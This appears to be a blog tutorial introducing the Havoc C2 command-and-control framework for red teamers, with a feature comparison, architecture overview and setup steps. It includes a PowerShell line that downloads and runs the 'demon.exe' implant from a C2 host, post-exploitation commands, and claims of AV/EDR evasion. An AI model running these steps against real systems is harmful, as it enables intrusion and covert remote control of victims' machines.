Havoc C2: A Next-Gen Open-Source Command & Control Framework

Havoc C2 is a powerful open-source Command & Control framework for penetration testers and red teamers. It offers stealthy evasion, multiple communication protocols, and advanced post-exploitation features, making it a strong alternative to Cobalt Strike and Metasploit.

CloudNetOps

CloudNetOps

— 3 min read
Expertise in Cloud, Networking & DevOps
Photo by Markus Spiske / Unsplash

In modern penetration testing and red team operations, Command & Control (C2) frameworks are crucial tools for ethical hackers and cybersecurity professionals. Havoc C2, an advanced, open-source, and stealthy C2 framework, is emerging as a strong competitor to Metasploit, Cobalt Strike, and Sliver. So, what makes it special? How do you use it? Let's dive into the features, architecture, and practical use of Havoc C2.

📌 1. What is Havoc C2? (Introduction to Havoc C2)

🔹 Overview of Havoc C2

Havoc C2 is a lightweight yet powerful C2 framework designed for red teamers and penetration testers. It supports multiple communication protocols, in-memory injection, and stealthy evasion techniques, making it a viable alternative to Cobalt Strike and Metasploit.

One of its key advantages is its evasion capability, as it is less likely to be detected by security solutions compared to Metasploit and doesn't come with the high costs of Cobalt Strike. For those looking to learn advanced penetration testing or conduct red team engagements, Havoc is an excellent choice.

🔹 Havoc C2 vs. Other C2 Frameworks (Comparison)

Feature Havoc C2 Cobalt Strike Metasploit Sliver C2
Open-Source ✅ Yes ❌ No (Paid) ✅ Yes ✅ Yes
Evasion Capability ✅ Strong (Shellcode Injection + Custom Encryption) ❌ Easily Detected ❌ Easily Detected ✅ Strong
Communication Protocols ✅ HTTPS, SMB, TCP ✅ HTTPS, SMB ❌ TCP Only ✅ Multiple
Post-Exploitation Features ✅ Strong (Token Impersonation, UAC Bypass, Process Injection) ✅ Strong ✅ Basic Features ✅ Strong

Havoc C2 stands out for its free, stealthy, and user-friendly approach, making it ideal for learning and real-world penetration testing.

📌 2. Havoc C2 Core Components (Architecture Overview)

Havoc consists of four key components, each serving a different function.

🔹 1. Havoc Server (C2 Server)

  • Listens and manages all compromised machine connections.
  • Communicates using HTTPS / SMB / TCP, enabling remote control across networks.

🔹 2. Havoc Client (Control Console)

  • Provides a GUI interface for managing listeners, generating payloads, and executing post-exploitation tasks.
  • Supports interactive shell sessions and modular extensions.

🔹 3. Agents (Payloads)

  • Malicious binaries (EXE, DLL, Shellcode) deployed on target machines.
  • Enable remote control, token impersonation, and process injection.

🔹 4. Listeners

  • Handle inbound connections from compromised machines.
  • Support HTTPS / SMB / TCP for secure communication.

📌 3. How to Use Havoc C2 (Step-by-Step Guide)

Now, let's explore how to set up and use Havoc C2.

🛠 Step 1: Start the Havoc C2 Server

sudo havoc server -D

📌 What it does: Starts the C2 server, waiting for target machines to connect.

🛠 Step 2: Launch the Havoc C2 Client

sudo havoc client

📌 What it does: Opens the control console for managing operations.

🛠 Step 3: Create a Listener (HTTPS / SMB)

In the Havoc GUI:

  • Go to: View -> Listeners -> Add
  • Protocol: HTTPS
  • Host IP: 192.168.1.100
  • Port: 443
  • Save the Listener

📌 Purpose: Listens for incoming connections from target machines.

🛠 Step 4: Generate a Payload (Demon Agent)

# Navigate to Payload generation
Attack -> Payload -> Generate

📌 Choose parameters:

  • Name: demon
  • Listener: HTTPS Listener
  • Architecture: x64
  • Type: Windows EXE / DLL / Shellcode

🛠 Step 5: Deploy the Payload on the Target Machine

Invoke-WebRequest -Uri http://192.168.1.100/demon.exe -OutFile demon.exe
Start-Process demon.exe

📌 What it does:

  • The target machine downloads the Havoc C2 payload.
  • Upon execution, it automatically connects back to the C2 server.

🛠 Step 6: Gain Control Over the Target (Post-Exploitation)

whoami             # Check current user
screenshot        # Capture the target's screen
ps                # List running processes

📌 What it does:

  • Enables remote control over the compromised machine.
  • Allows execution of commands for further exploitation.

📌 4. Why Use Havoc C2? (Key Advantages)

Havoc C2 offers the following benefits: ✅ 100% Open-Source, making it ideal for learning and customization. ✅ Powerful Evasion Techniques, bypassing AV & EDR solutions. ✅ Lightweight yet highly functional, suitable for real-world penetration testing. ✅ Supports Multiple Payloads (EXE, DLL, Shellcode). ✅ Works with SMB Pivoting for Active Directory Attacks.

📌 5. Conclusion & Next Steps

Havoc C2 is a next-gen tool for red teams and penetration testers, offering stealthy evasion, lateral movement, and modular architecture, making it a great addition to any ethical hacker's toolkit.

📢 🚀 Coming Next: “Havoc C2 Internal Architecture Analysis”

💡 Have questions? Drop a comment and let’s discuss!

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